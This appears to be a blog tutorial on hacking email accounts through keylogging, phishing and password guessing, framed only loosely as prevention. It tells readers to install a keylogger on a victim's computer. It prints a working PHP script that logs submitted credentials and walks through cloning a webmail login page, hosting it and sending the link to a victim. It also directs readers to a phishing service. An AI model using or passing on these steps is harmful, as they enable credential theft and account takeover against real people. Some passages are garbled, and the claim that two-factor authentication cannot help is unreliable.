Have you ever wondered how cybercriminals hack email passwords? At some point, you may have wondered how to hack email accounts just for the sake of preventing your account from getting hacked. There are several techniques that you can explore to hack the password of an email account. No email account is immune to hacking. Here are some practical ways of hacking email accounts.

1. Keylogging

Arguably, this is the easiest option for most people who want to learn how to hack email passwords. Keylogging entails recording every keystroke that is typed in by a user on a computer keyboard. You can do so using a spy

Keylogger is a tool which is used to log all keystrokes of a keyboard. Keylogger can capture all keystrokes which are performed by a user. Keylogger comes with two types, one is software keylogger and the other one is hardware keylogger. Here we will use software keylogger. We will use a keylogger, which is an application software. This can be installed like any other application, there are different hacking institute in pune where they use same appllication for keylogger practical execution. You can use any keylogger software. In this case I will use revealer keylogger. You just have to install the software to the victim’s computer. After installing the software to the victim;s computer, you just have to start the keylogger and close the application window. Now, the rest work will be done by the keylogger software. You just chill and relax at your place.

Here I am providing some screenshots of how to use this keylogg

From now what the victim will type will log in this software.

Here is the log of victim’s keystrokes. Here you can get the victim’s email-id and password.

known as a Keylogger.

You don’t need special skills to install the program on a computer. Keyloggers also operate in stealth mode, something that makes them hard to detect once installed. If you don’t have physical access to a target computer, there’s no need to worry because some keyloggers offer remote installation.

Keylogging is arguably the most straightforward hacking technique that hackers use to steal sensitive information from victims. Besides email hacking, Keylogging can be used to spy on your target’s text messages, phone calls, and other passwords.

2. Phishing

This is a more complicated email hacking technique compared to Keylogging. Phishing entails the use of spoofed webpages that are designed to be identical to those of legitimate websites. When carrying out this social engineering hacking technique, phishers typically create fake login pages that resemble Gmail, Yahoo, or other email service providers. Once you attempt to enter your login credentials on the fake login pages, hackers will be able to steal the information right away.

Similarly, phishers can send an email that resembles what Google or Yahoo typically send. Often, such emails contain links to fake login pages, requesting you to update your email account information or change the password. An online persona of someone you know can also be created and used to hoodwink you into providing your email login credentials. To successfully execute a phishing attack, one needs considerable hacking knowledge with prior experience in HTML, scripting languages such as PHP/JSP, and CSS.

Now, you can understand that phishing is also a technique to hack an email account. Following are some screenshots to hack gmail account with phishing. Here I will use rediffmail and a PHP script to get the username and password of the victim.

PHP script:

<?php header (‘Location:https://mail.rediff.com/cgi-bin/login.cgi‘); $handle =

fopen(“usernames.txt”, “a”); foreach($_POST as $variable => $value) {

fwrite($handle, $variable);    fwrite($handle, “=”);    fwrite($handle,

$value);    fwrite($handle, “\r\n”); } fwrite($handle, “\r\n”);

fclose($handle); exit; ?>

What the script will do?

This script will store all value of all variable on a variable named handle and the value of the handle will be written in a text file named usernames.txt. So, that means username and password will be stored in this text file. Let’s try the phishing attack. I hope it will work.

 Screenshots:

Open the rediffmail login page (https://mail.rediff.com/cgi-bin/login.cgi)

Now right click on the page and go to view page source. It will show the html code of the page.

Copy the whole HTML code and paste it on the notepad and save the file with “mail.rediff.html”

Now press CTRL+F to find a keyword which is “action=”

As you find that, you just have to replace the url with the file name of the above PHP script as I named the script “my_phishing.php”

So your phishing page creation is done. Now you have to host the “mail.rediff.html” file for the victim so the victim can open the file and can enter the username and password so you will get the username and password of the victim.

How to host the file?

To host the file I will use xampp to start apache server.

Download and install xampp server and start apache server. Now move the “mail.rediff.html” and “my_phishing.php” to “C:\xampp\htdocs” 

Now you have to send this file URL to the victim.

 How to send?

Open cmd and type ipconfig and copy the IP of your network interface.

Now create a URL with the IP and the file name. To create the URL, type the “IP/file_name.html” as follows “192.168.43.75/mail.rediff.html”. Now send this URL to the victim. When the victim will open the URL it will look like this 

Now the victim have to enter the credentials and the credentials will save in your drive in the file named usernames.txt in the directory “htdocs”. 

Here, it is done the hacking email account with phishing.

Instead of this technique you can use an automated website for phishing. Generally, no one prefers script technique(Except some hacking institute in pune which I know, teach in depth), specially who are skiddies, they maximum use automated tools/platforms like a website named z-shadow. The website link is http://z-shadow.info . Just follow the link to open the website. When you are done opening the website you will find a “Sign Up Here” button, click on that button to sign up on z-shadow. 

After clicking on sign up here button you will be prompted for username, password, confirm password, email address,  age, country. Fill up sign up form in according sign up on the website and click on the “Sign up” button. To sign up on that website you have to enter any username you want, enter a strong password then enter the same password in the confirm password box otherwise you will not be able to sign up until the password and confirm password is same. Then enter you email id, your age and country in order to sign up. Okay, following is a screenshot of the website interface after opening the sign up page. It will help you to understand what I am trying to convey you.

After signing up on that website you will automatically logged into your z-shadow account with details provided during sign up. Now, your account home page is opened. 

Here you will find several options for hacking facebook and gmail hacking. You just have to select Gmail and you will find a link. That is the link which all you need. Just copy the link from that website and send the link to victim.

 When the victim will open the link then he will be prompted for gmail username and password. 

Once the victim enters the username and password you will get the username and password on the page when you click on the button My victim. 

That’s done phishing victim for gmail account. That’s all we need. Like this website you can use any other website you know which enables for phishing email account. That’s it for phishing. Now, we are heading up to another method of hacking email account.

In most jurisdictions, phishing is considered a criminal offense. Unfortunately, enabling two-factor authentication for your email accounts can’t help. Therefore you should be vigilant before giving out your email login credentials. Double-check the web address from where the email is emanating before providing your details. If you didn’t request a password change in the first place, ignore suspicious emails that ask you to change the password.

3.Password Guessing and Resetting

This is another social engineering technique used by email hackers. If you are learning how to hack email accounts, you shouldn’t worry about the password guessing/resetting technique. It’s easier to use this technique to access the mailboxes of people whom you know than strangers. The procedure involves manipulating the target victim’s mind to try and figure out his/her personal information.

Password guessing and resetting require impeccable thinking power and social skills, thus the need to know the intended victim considerably well. Often, hackers who use this technique are close family members, friends, or colleagues. Such individuals have considerable knowledge about you, including your hobbies, birthdate, and other personal details. Therefore, it’s easier for them to figure out your email password, and in particular, the security question.
